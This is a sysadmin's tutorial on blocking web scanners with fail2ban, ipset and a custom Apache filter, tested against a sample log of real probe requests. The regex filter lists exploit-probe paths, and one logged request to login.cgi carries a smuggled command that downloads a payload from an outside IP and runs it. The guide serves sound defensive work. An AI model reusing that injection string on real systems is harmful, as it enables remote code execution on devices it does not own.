What do you think? Discuss, post comments, or ask questions at the end of this article [More about me]

You are viewing an old version of this page. View the current version.

Compare with Current View Page History

« Previous Version 4 Current »

One thing that comes with the territory when running servers (application servers or otherwise) is the incessant attacks and intrusion attempts that occur.  Most of these are simply querying your server looking for older versions of server applications to exploit (I'm looking at you myphpadmin and wordpress...). 

I've spent quite some time consistently monitoring access logs and understanding various patterns malicious entities use when scanning for exploits.  I find it very interesting (please tell me other people sometimes 'less +F' watch their apache logs while eating lunch...) and have noticed some interesting approaches here.

Anyways, once I understand the general attack approaches particular to my servers, I usually implement something like the excellent fail2ban to automagically (perma?)ban ip addresses.  It always makes me smile when I see these requests hit my server and then see the (virtual) ban hammer drop on them (smile).

Below encompasses some approaches I use to implement and test fail2ban filters for my apache logs.

Guide

Installing fail2ban

Let's now install fail2ban on our server.  It's in most (if not all) distro package managers.

For my ubuntu server:

sudo apt install fail2ban

and for my CentOS server:

sudo yum install fail2ban

Otherwise you can always clone the fail2ban repo from their GitHub page and then cd to the repo root and do a

sudo python setup.py install

NOTE: this assumes you have the required python packages installed, as outlined here.

We'll also need ipset installed.  See my guide here for directions on doing this.

Configuration with clean jail.local and apache-custom filter

Fail2ban uses a nice inherited approach to configuration files.  All configuration files are in the /etc/fail2ban folder.  Default settings for various jails are kept in the jail.conf file.  It's recommended that you do NOT modify jail.conf but instead create a new file (in the same folder) named jail.local.  Settings in this file will override those found in jail.conf for each bracketed [...] heading.

This nicely simplifies and keeps clean the actual configuration file we will use for our jails.  Below you can see the (local) configuration file we will use.  This file enables two jails - one for SSH and the other for HTTP, HTTPS, and any other ports we might want included in the ban (for the banned ip).

/etc/fail2ban/jail.local
[DEFAULT]
ignoreip = 127.0.0.1/8 10.0.0.0/24

[apache-custom]
enabled  = true
logpath  = /var/log/apache*/access.log
action   = iptables-ipset-proto6[name=apache-custom, port="http,https", protocol=tcp, bantime=0]
findtime = 86400
bantime  = -1
maxretry = 1

[sshd]
enabled  = true
action   = iptables-ipset-proto6[name=ssh, port=ssh, protocol=tcp, bantime=0]
findtime = 3600
bantime  = -1
maxretry = 3

A few notes here.  Add your own ip addresses or ip address range (CIDR) to ignore in this line.  For example 10.0.0.0/24 will ignore 10.0.0.0 and ip range [10.0.0.1 - 10.0.0.255] which is an internal network ip range.

Note that bantime = -1.  This actually enforces a permanent ban on the banned ips.  You'll also note that I have bantime=0 as an argument in the action line.  What's happening here is that both fail2ban and ipset provide bantime setting functionality.  Fail2ban uses -1 to mean a permanent ban, and ipset uses 0 to mean a permanent ban.  In any case, since I want to permanently ban the numpties who are continually attacking my servers - I need both the above to do this.

Now, importantly, I'm using a fail2ban version > 0.9.  In 0.9 they slightly changed the format of configuration files.  In version 0.9 and greater, the bracket name (e.g. [apache-custom]) refers the to filter that will be used.  In prior version you'll need a filter= line to tell fail2ban what filter to use for your jail.  Filters are found in the filter.d folder and tell fail2ban the regular expressions that should be used to flag requests in your apache logs.  See below for the apache-custom filter that we will be using (you will have to create a file name apache-custom.conf in /etc/fail2ban/filter.d with the following contents:

apache-custom.conf (sourced from https://gitlab.jaytaala.com/j.taala/jt-config-fail2ban.git)
Author Jay Ta'ala
Commit 05d4f1a250ecf8a97d64ed673dcbaeee77b36ef1
Timestamp May, 18, 2020 12:35 PM
Full path filter.d/apache-custom.conf
Title Added "GET /run.py" to samples and added additional regex.
apache-custom fail2ban filter (should be placed in /etc/fail2ban/filter.d/)
# Fail2Ban configuration file
#
# Custom regex patterns to ban known (and unwanted) access attempts.
# Based off my own server logs.

[Definition]

badagents = 360Spider|ZmEu|Auto Spider 1.0|zgrab/[0-9]*\.[0-9a-zA-Z]*|Wget\(.*\)|MauiBot.*|AspiegelBot.*|SemrushBot.*|PHP/.*

failregex = ^.+?:\d+ <HOST> -.*"(GET|POST|HEAD).*HTTP.*(?:%(badagents)s)"$
            ^.+?:\d+ <HOST> - - \[.*\] \"\\n\" .*$
            ^.+?:\d+ <HOST> -.*"(GET|POST|HEAD) /*[pP][hH][pP][mM][yY][aA][dD][mM][iI][nN].*$
            ^.+?:\d+ <HOST> -.*"(GET|POST|HEAD) /+wp-login\.php.*$
            ^.+?:\d+ <HOST> -.*"(GET|POST|HEAD) /.git/HEAD.*$
            ^.+?:\d+ <HOST> -.*"(GET|POST|HEAD) /TP/public/index\.php.*$
            ^.+?:\d+ <HOST> -.*"(GET|POST|HEAD) /admin/login\.php.*$
            ^.+?:\d+ <HOST> -.*"(GET|POST|HEAD) /allstat\.php.*$
            ^.+?:\d+ <HOST> -.*"(GET|POST|HEAD) /cfg/.*$
            ^.+?:\d+ <HOST> -.*"(GET|POST|HEAD) /cisco/.*$
            ^.+?:\d+ <HOST> -.*"(GET|POST|HEAD) /config.*/.*$
            ^.+?:\d+ <HOST> -.*"(GET|POST|HEAD) /firmware/.*$
            ^.+?:\d+ <HOST> -.*"(GET|POST|HEAD) /linksys/.*$
            ^.+?:\d+ <HOST> -.*"(GET|POST|HEAD) /login\.cgi.*$
            ^.+?:\d+ <HOST> -.*"(GET|POST|HEAD) /phone/.*$
            ^.+?:\d+ <HOST> -.*"(GET|POST|HEAD) /polycom/.*$
            ^.+?:\d+ <HOST> -.*"(GET|POST|HEAD) /provision.*/.*$
            ^.+?:\d+ <HOST> -.*"(GET|POST|HEAD) /run\.py.*$
            ^.+?:\d+ <HOST> -.*"(GET|POST|HEAD) /struts.*$
            ^.+?:\d+ <HOST> -.*"(GET|POST|HEAD) /wls-wsat.*$
            ^.+?:\d+ <HOST> -.*"(GET|POST|HEAD) /wp-config\.php.*$
            ^.+?:\d+ <HOST> -.*"(GET|POST|HEAD) /wuwu11\.php.*$
            ^.+?:\d+ <HOST> -.*"(GET|POST|HEAD) /wwwroot\.rar.*$
            ^.+?:\d+ <HOST> -.*"(GET|POST|HEAD) http:.*/[pP][hH][pP][mM][yY][aA][dD][mM][iI][nN].*$
            ^.+?:\d+ <HOST> -.*"POST /rpc/trackback/.*$

ignoreregex =

# DEV Notes:
# Current implementation in regex filters assumes vhost_combined type apache logs.
# E.g. LogFormat "%v:%p %h ...
#
# Author: Jay Ta'ala

Now, my servers generally use the apache vhost_combined format for my logs (this format really helps if you are reverse-proxying for multiple sub-domains for example).  The ^.+?:\d+ simply tells fail2ban that lines will start with the target domain and port (e.g. confluence.jaytaala.com:443) and then comes the ip to potentially ban (which fail2ban identifies with the <HOST> marker - which is itself a shortcut for a regex expression to capture ip addresses).

With failregex we define the regular expressions that will be used to identify request patterns and the ip to ban (one regex for each line).  I won't cover regex stuff here, but see if you can decipher what each regex will be looking for (the funny looking one is looking for requests to myphpadmin (which I don't use) and is the long way to do non-case sensitivity (the shorter way is to use the marker (?i) - but since fail2ban uses python regex - it will apply it over the whole line - which isn't a problem here really but I just felt like being somewhat verbose).

Testing apache-custom filter with log samples

Now, testing to verify that our apache-custom filter is working is extremely important.  Regular expressions are very easy to mess up.  Fail2ban comes with some nice tools that we can use to test our filter.  We first need something to test against.  I like to keep a log with actual (attack) requests to my server.  Whenever I find a new pattern that I want to ban, I add an example of the actual request to a samples.log file.  For example, here is one which has actual requests to my server (and the actual ip addresses they came from - wo unto the ip addresses below, I hereby publicly shame thee!):

samples.log (sourced from https://gitlab.jaytaala.com/j.taala/jt-config-fail2ban.git)
Author Jay Ta'ala
Commit 05d4f1a250ecf8a97d64ed673dcbaeee77b36ef1
Timestamp May, 18, 2020 12:35 PM
Full path samples.log
Title Added "GET /run.py" to samples and added additional regex. 
confluence.jaytaala.com:443 42.236.48.165 - - [25/May/2018:14:22:46 +1000] "GET /login.action?os_destination=%2Flabel%2Fsager HTTP/1.1" 200 10860 "https://confluence.jaytaala.com/login.action?os_destination=%2Flabel%2Fsager" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.102 Safari/537.36; 360Spider"
confluence.jaytaala.com:80 185.82.202.29 - - [28/May/2018:13:59:38 +1000] "GET /w00tw00t.at.blackhats.romanian.anti-sec:) HTTP/1.1" 301 538 "-" "ZmEu"
confluence.jaytaala.com:443 36.250.184.140 - - [14/Jun/2018:05:55:41 +1000] "POST /pages/viewpage.action HTTP/1.1" 404 10776 "-" "Auto Spider 1.0"
confluence.jaytaala.com:443 107.170.224.220 - - [25/May/2018:07:01:40 +1000] "GET / HTTP/1.1" 200 10299 "-" "Mozilla/5.0 zgrab/0.x"
confluence.jaytaala.com:80 116.196.125.40 - - [25/May/2018:00:58:47 +1000] "GET /phpMyAdmin/index.php HTTP/1.1" 301 532 "-" "Mozilla/5.0"
confluence.jaytaala.com:80 165.227.193.20 - - [14/Jun/2018:00:01:24 +1000] "HEAD http://13.210.36.191:80/phpmyadmin/ HTTP/1.1" 301 - "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36"
confluence.jaytaala.com:80 143.0.179.17 - - [16/Jun/2018:00:20:21 +1000] "GET /wp-login.php HTTP/1.1" 301 517 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1"
confluence.jaytaala.com:80 68.54.82.138 - - [17/Jun/2018:00:02:33 +1000] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.62.190.191/r%20-O%20-%3E%20/tmp/r;sh%20/tmp/r%27$ HTTP/1.1" 301 677 "-" "Hello, World"
confluence.jaytaala.com:80 189.63.132.27 - - [19/Jun/2018:12:22:09 +1000] "GET /cgi/common.cgi HTTP/1.1" 301 465 "-" "Wget(linux)"
confluence.jaytaala.com:443 185.222.210.57 - - [19/Jun/2018:12:41:23 +1000] "GET /struts2-showcase/person/editPerson.action HTTP/1.1" 404 34802 "-" "Mozilla/5.0"
confluence.jaytaala.com:443 185.222.210.57 - - [19/Jun/2018:12:45:37 +1000] "GET /struts/login.action HTTP/1.1" 200 11058 "-" "Mozilla/5.0"
confluence.jaytaala.com:443 94.102.49.193 - - [16/Jun/2018:17:07:31 +1000] "\n" 400 3439 "-" "-"
confluence.jaytaala.com:80 195.22.127.231 - - [08/Jul/2018:17:07:58 +1000] "GET /.git/HEAD HTTP/1.1" 301 511 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.167 Safari/537.36"
confluence.jaytaala.com:80 23.238.35.4 - - [12/Jul/2018:19:07:11 +1000] "GET /cfg/ HTTP/1.1" 301 501 "-" "python-requests/2.18.4"
confluence.jaytaala.com:80 119.27.182.223 - - [22/Jul/2018:03:21:52 +1000] "POST /wuwu11.php HTTP/1.1" 301 476 "-" "Mozilla/5.0"
confluence.jaytaala.com:443 52.91.135.205 - - [25/Jul/2018:09:23:57 +1000] "GET /robots.txt HTTP/1.1" 200 3644 "-" "MauiBot (crawler.feedback+dc@gmail.com)"
confluence.jaytaala.com:80 112.13.176.111 - - [26/Jul/2018:19:05:26 +1000] "GET /admin/login.php HTTP/1.1" 301 523 "-" "python-requests/2.6.0 CPython/2.6.6 Linux/2.6.32-573.el6.x86_64"
confluence.jaytaala.com:80 47.75.16.178 - - [06/Aug/2018:14:24:22 +1000] "GET /wp-config.php HTTP/1.1" 301 262 "-" "Mozilla/5.0"
confluence.jaytaala.com:80 222.240.241.27 - - [09/Sep/2018:20:09:03 +1000] "HEAD /wwwroot.rar HTTP/1.1" 301 187 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0)"
confluence.jaytaala.com:443 187.45.147.213 - - [16/Sep/2018:01:46:39 +1000] "POST /rpc/trackback/19955719 HTTP/1.1" 200 421 "http://ronghuled.com/comment/html/?130290.html" "PHP/5.3.32"
confluence.jaytaala.com:80 223.104.238.62 - - [22/Sep/2018:00:38:08 +1000] "GET /allstat.php?&_loc=http%3A//www.yoka.com/star/%3Fpopularizeid%3D185&_func=&_act=&_actcom=&_urlid=&_topicid=&_ref=&_browser=Mozilla&_browserv=11&_os=Windows&_screen=1366x768&_pid=185&_uid=&_gid=6166cc5e-3130-7ace-b40f-5fce33e02e31&_tid=a42bec6b-f033-f64a-d0f8-6bb15b7abd21&_psrc=185&_ph=00000000000000000000000000011&_tracid=&_src=&_src_host=www.yoka.com&_sear=&_winsize=47&rad=51654.37223092567 HTTP/1.1" 301 734 "http://www.yoka.com/star/?popularizeid=185" "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko"
crowd.jaytaala.com:80 80.82.65.62 - - [07/Jun/2019:16:02:05 +1000] "GET /linksys/ HTTP/1.1" 301 517 "-" "python-requests/2.7.0 CPython/2.7.14 Windows/2012ServerR2"
crowd.jaytaala.com:80 89.248.174.17 - - [07/Jun/2019:16:56:32 +1000] "GET /provisioning/ HTTP/1.1" 301 527 "-" "python-requests/2.7.0 CPython/2.7.14 Windows/2012ServerR2"
crowd.jaytaala.com:80 89.248.162.145 - - [07/Jun/2019:16:02:45 +1000] "GET /firmware/ HTTP/1.1" 301 519 "-" "python-requests/2.7.0 CPython/2.7.14 Windows/2012ServerR2"
crowd.jaytaala.com:80 80.82.78.188 - - [07/Jun/2019:16:02:47 +1000] "GET /cisco/ HTTP/1.1" 301 513 "-" "python-requests/2.7.0 CPython/2.7.14 Windows/2012ServerR2"
crowd.jaytaala.com:80 89.248.172.208 - - [07/Jun/2019:16:11:57 +1000] "GET /config/ HTTP/1.1" 301 515 "-" "python-requests/2.7.0 CPython/2.7.14 Windows/2012ServerR2"
crowd.jaytaala.com:80 185.216.140.33 - - [07/Jun/2019:16:34:40 +1000] "GET /polycom/ HTTP/1.1" 301 517 "-" "python-requests/2.7.0 CPython/2.7.14 Windows/2012ServerR2"
crowd.jaytaala.com:80 89.248.171.170 - - [07/Jun/2019:16:55:47 +1000] "GET /phone/ HTTP/1.1" 301 513 "-" "python-requests/2.7.0 CPython/2.7.14 Windows/2012ServerR2"
crowd.jaytaala.com:80 114.67.232.241 - - [04/Jun/2019:03:09:40 +1000] "GET /TP/public/index.php HTTP/1.1" 301 502 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
confluence.jaytaala.com:443 114.119.161.113 - - [02/Apr/2020:00:16:53 +1100] "GET /pages/viewinfo.action?pageId=19955719 HTTP/1.1" 200 16037 "-" "Mozilla/5.0 (Linux; Android 7.0;) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; AspiegelBot)"
confluence.jaytaala.com:443 46.229.168.137 - - [01/Apr/2020:00:00:16 +1100] "GET /login.action?os_destination=%2Flabel%2Fkb-how-to-article%2Bkb-how-to-article%2Bkb-how-to-article%2Bkb-how-to-article%2Bkb-how-to-article%2Bkb-how-to-article%2Bkb-how-to-article%2Bkb-how-to-article%2Bkb-how-to-article%2Bkb-how-to-article%3Fids%3D1409030%26ids%3D1409030%26startIndex%3D50 HTTP/1.1" 200 12040 "-" "Mozilla/5.0 (compatible; SemrushBot/6~bl; +http://www.semrush.com/bot.html)"
confluence.jaytaala.com:80 116.58.254.252 - - [01/Apr/2020:06:31:38 +1100] "GET /display/TKB/Implement+fail2ban+with+custom+apache+filter%2C+ipset%2C+and+a+sample+based+verification+approach HTTP/1.1" 301 647 "-" "PHP/5.3.19"
confluence.jaytaala.com:443 41.225.108.165 - - [14/Apr/2020:01:59:14 +1000] "GET //wp-login.php HTTP/1.1" 404 35668 "-" "python-requests/2.23.0"
jaytaala.com:80 185.234.219.231 - - [18/May/2020:00:35:51 +1000] "GET /run.py HTTP/1.1" 301 483 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0"

Each line has some pattern that relates to our filter.  For example the first two lines should be identified based on their agents.

Now let's use a great fail2ban tool to test the sample file against our filter directly.  We can do this with the terminal command:

fail2ban-regex /path-to-samples/sample.log /etc/fail2ban/filter.d/apache-custom.conf

This will test the filter on our sample log.  An example of the output is given below

$ fail2ban-regex samples.log /etc/fail2ban/filter.d/apache-custom.conf

Running tests
=============

Use   failregex filter file : apache-custom, basedir: /etc/fail2ban
Use         log file : samples.log
Use         encoding : UTF-8


Results
=======

Failregex: 6 total
|-  #) [# of hits] regular expression
|   1) [4] ^.+?:\d+ <HOST> -.*"(GET|POST|HEAD).*HTTP.*(?:360Spider|ZmEu|Auto Spider 1.0|zgrab/[0-9]*\.[0-9a-zA-Z]*)"$
|   2) [1] ^.+?:\d+ <HOST> -.*"(GET|POST|HEAD) /*[pP][hH][pP][mM][yY][aA][dD][mM][iI][nN].*$
|   3) [1] ^.+?:\d+ <HOST> -.*"(GET|POST|HEAD) http:.*/[pP][hH][pP][mM][yY][aA][dD][mM][iI][nN].*$
`-

Ignoreregex: 0 total

Date template hits:
|- [# of hits] date format
|  [6] Day(?P<_sep>[-/])MON(?P=_sep)Year[ :]?24hour:Minute:Second(?:\.Microseconds)?(?: Zone offset)?
`-

Lines: 6 lines, 0 ignored, 6 matched, 0 missed [processed in 0.00 sec]

This shows how many regex hits each regex expression picked up.  The important part is the last line.  What we're looking for is 0 missed, which means that we caught all our samples.

Enabling and starting fail2ban

Now that we've got our configuration setup, we can enable and start the fail2ban service.

How you do this largely depends on your distro, but for my ubuntu server:

sudo systemctl enable fail2ban
sudo systemctl start fail2ban

On my CentOS servers I needed

sudo chkconfig fail2ban on
sudo service fail2ban start

Manually adding / removing ip (or ip ranges)

You might need (or want) to add an ip address to fail2ban manually from time to time.  You can use the fail2ban-client  commands for this:

manully add ip to a fail2ban jail

sudo fail2ban-client set apache-custom banip <IP-ADDRESS>

manually remove ip (or CIDR) to a fail2ban jail

sudo fail2ban-client set apache-custom unbanip <IP-ADDRESS>

Replace <IP-ADDRESS> with the ip address you want to add/remove from fail2ban.

To DB or not to DB...

Fail2ban 0.9 introduced an integrated SQLite database for bans.  This means that on restarting (fail2ban or your server) the previously banned ip addresses will be rebanned (instead of being lost).  Although this is a great feature, I've found it does have some downsides - such as taking a lot of time to shutdown and startup fail2ban.  On one of my servers, with approximately 6000 banned ips - shutting down fail2ban would take 5 minutes or so, and starting it back up would take around 10 minutes as it (one by one) rebanned each banned ip from the database. 

Also, especially when developing your fail2ban filters, you might want to not store previously banned ips (which may have been banned by incorrect regex filters).

If instead you prefer to disable the database and use the previous fail2ban behaviour, you can do so by creating a /etc/fail2ban/fail2ban.local (which overrides certain settings in fail2ban.conf) as below:

/etc/fail2ban/fail2ban.local
[Definition]

# Options: dbfile
# Notes.: Set the file for the fail2ban persistent data to be stored.
#         A value of ":memory:" means database is only stored in memory
#         and data is lost when fail2ban is stopped.
#         A value of "None" disables the database.
# Values: [ None :memory: FILE ] Default: /var/lib/fail2ban/fail2ban.sqlite3
dbfile = None

Good luck out there...

References

  1. https://www.fail2ban.org/wiki/index.php/Main_Page
  2. https://regex101.com/

  • No labels